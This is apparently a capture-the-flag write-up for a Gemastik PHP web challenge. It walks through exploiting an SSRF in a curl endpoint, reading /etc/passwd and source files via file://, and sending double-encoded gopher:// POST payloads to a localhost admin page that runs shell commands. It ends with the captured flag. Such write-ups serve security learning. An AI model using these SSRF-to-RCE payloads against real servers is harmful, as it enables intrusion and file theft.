# Description Given web challenge with using php as the programming languange, which is the service is vulnerable to SSRF (Server-side Request Forgery) and escalate the vulnerability to RCE (Remote Code Execution) to obtain the flag. # How to Solve When we visit the web, we just given the source code of index ``` php=1 <?php //secret.php? if (!isset($_GET['url'])) { die(highlight_file(__FILE__)); } $url = $_GET['url']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); curl_close($ch); echo $response; ?> ``` There a variable that use `$_GET` method and executed in the url, after that a `curl` function option to init the value of url parameter and also a file with name `secret.php`. After that we try the parameter like this to confirm if there a really SSRF vulnerability. ``` http://ctf-gemastik.ub.ac.id:10022/?url=https://webhook.site/70c42409-3cb4-4c7b-a517-df5715ca430f ``` And we got a reponse ![webhook response](https://hackmd.io/_uploads/S10ygxNsn.png) It's mean the website is has a vulnerability to SSRF, the next things is we need to execute a protocol to obtain the `secret.php` source code. We use the `file:///` protocol and we got url like this. ``` http://ctf-gemastik.ub.ac.id:10022/?url=file:///etc/passwd ``` And we obtain the passwd of the server ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin ``` According to the passwd of the server, we can read the source code at `/var/www/html/` which is a default apache configuration. So we try this url. ``` http://ctf-gemastik.ub.ac.id:10022/?url=file:///var/www/html/secret.php ``` And we got the full source with view-source at the response ``` php=1 <?php include 'config.php'; $res = NULL; if ($_SERVER['REMOTE_ADDR'] === "127.0.0.1") { if ($_SERVER['REQUEST_METHOD'] === "POST" && isset($_POST['role']) && isset($_POST['query']) && $_POST['role'] === "admin") { try { $query = $_POST['query']; $stmt = $conn->query($query); $result = $stmt->fetchAll(PDO::FETCH_ASSOC); print_r($result); } catch (PDOException $e) { system($query); die("Query failed: " . $e->getMessage()); } } } ``` According to the source, we can use the `secret.php` to exploiting the SSRF vulnerability with using `gopher` protocol. Then we can make `POST` request method like this ``` POST /secret.php HTTP/1.1 Host: localhost Cache-Control: max-age=0 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9,id-ID;q=0.8,id;q=0.7 Content-Type: application/x-www-form-urlencoded Content-Length: 19 role=admin&query=ls ``` You can use the Burpsuite to automatically count the `Content-Length` and don't forget to delete the `Accept-Encoding` header at the request. After that we encode the request to url 2 times, to make sure the payload is successfully executed, you can use [Cyberchef](https://gchq.github.io/CyberChef) to encode the request. ``` POST%2520%252Fsecret%252Ephp%2520HTTP%252F1%252E1%250D%250AHost%253A%2520localhost%250D%250ACache%252DControl%253A%2520max%252Dage%253D0%250D%250ADNT%253A%25201%250D%250AUpgrade%252DInsecure%252DRequests%253A%25201%250D%250AUser%252DAgent%253A%2520Mozilla%252F5%252E0%2520%2528Windows%2520NT%252010%252E0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit%252F537%252E36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome%252F115%252E0%252E0%252E0%2520Safari%252F537%252E36%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0%252E9%252Cimage%252Favif%252Cimage%252Fwebp%252Cimage%252Fapng%252C%252A%252F%252A%253Bq%253D0%252E8%252Capplication%252Fsigned%252Dexchange%253Bv%253Db3%253Bq%253D0%252E7%250D%250AAccept%252DLanguage%253A%2520en%252DUS%252Cen%253Bq%253D0%252E9%252Cid%252DID%253Bq%253D0%252E8%252Cid%253Bq%253D0%252E7%250D%250AContent%252DType%253A%2520application%252Fx%252Dwww%252Dform%252Durlencoded%250D%250AContent%252DLength%253A%252019%250D%250A%250D%250Arole%253Dadmin%2526query%253Dls ``` And combine with the `gopher` protocol so it will be like this ``` http://ctf-gemastik.ub.ac.id:10022/?url=gopher://127.0.0.1:80/_POST%2520%252Fsecret%252Ephp%2520HTTP%252F1%252E1%250D%250AHost%253A%2520localhost%250D%250ACache%252DControl%253A%2520max%252Dage%253D0%250D%250ADNT%253A%25201%250D%250AUpgrade%252DInsecure%252DRequests%253A%25201%250D%250AUser%252DAgent%253A%2520Mozilla%252F5%252E0%2520%2528Windows%2520NT%252010%252E0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit%252F537%252E36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome%252F115%252E0%252E0%252E0%2520Safari%252F537%252E36%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0%252E9%252Cimage%252Favif%252Cimage%252Fwebp%252Cimage%252Fapng%252C%252A%252F%252A%253Bq%253D0%252E8%252Capplication%252Fsigned%252Dexchange%253Bv%253Db3%253Bq%253D0%252E7%250D%250AAccept%252DLanguage%253A%2520en%252DUS%252Cen%253Bq%253D0%252E9%252Cid%252DID%253Bq%253D0%252E8%252Cid%253Bq%253D0%252E7%250D%250AContent%252DType%253A%2520application%252Fx%252Dwww%252Dform%252Durlencoded%250D%250AContent%252DLength%253A%252019%250D%250A%250D%250Arole%253Dadmin%2526query%253Dls ``` And we got a response like this ![ls response](https://hackmd.io/_uploads/SJRhBeVsn.png) We already can executed the `ls` command, so the next thing we need find the flag file so i want to execute `ls /` to retrieve the information on root directory. ``` http://ctf-gemastik.ub.ac.id:10022/?url=gopher://127.0.0.1:80/_POST%2520%252Fsecret%252Ephp%2520HTTP%252F1%252E1%250D%250AHost%253A%2520localhost%250D%250ACache%252DControl%253A%2520max%252Dage%253D0%250D%250ADNT%253A%25201%250D%250AUpgrade%252DInsecure%252DRequests%253A%25201%250D%250AUser%252DAgent%253A%2520Mozilla%252F5%252E0%2520%2528Windows%2520NT%252010%252E0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit%252F537%252E36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome%252F115%252E0%252E0%252E0%2520Safari%252F537%252E36%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0%252E9%252Cimage%252Favif%252Cimage%252Fwebp%252Cimage%252Fapng%252C%252A%252F%252A%253Bq%253D0%252E8%252Capplication%252Fsigned%252Dexchange%253Bv%253Db3%253Bq%253D0%252E7%250D%250AAccept%252DLanguage%253A%2520en%252DUS%252Cen%253Bq%253D0%252E9%252Cid%252DID%253Bq%253D0%252E8%252Cid%253Bq%253D0%252E7%250D%250AContent%252DType%253A%2520application%252Fx%252Dwww%252Dform%252Durlencoded%250D%250AContent%252DLength%253A%252021%250D%250A%250D%250Arole%253Dadmin%2526query%253Dls%2520%252F ``` And we got the file flag name ![flag name](https://hackmd.io/_uploads/SyfyDgNin.png) You just can read the flag with `cat` using gopher protocol or use the `file` protocol at the start. ``` http://ctf-gemastik.ub.ac.id:10022/?url=file:///flag_congrats_you_found_this.txt ``` ![flag](https://hackmd.io/_uploads/r1Nuwx4o3.png) ``` gemastik{570a6d02f1042d34a2595a963fe0e8fc782fc64a566b63e408a42d4b0bf8a7a0} ```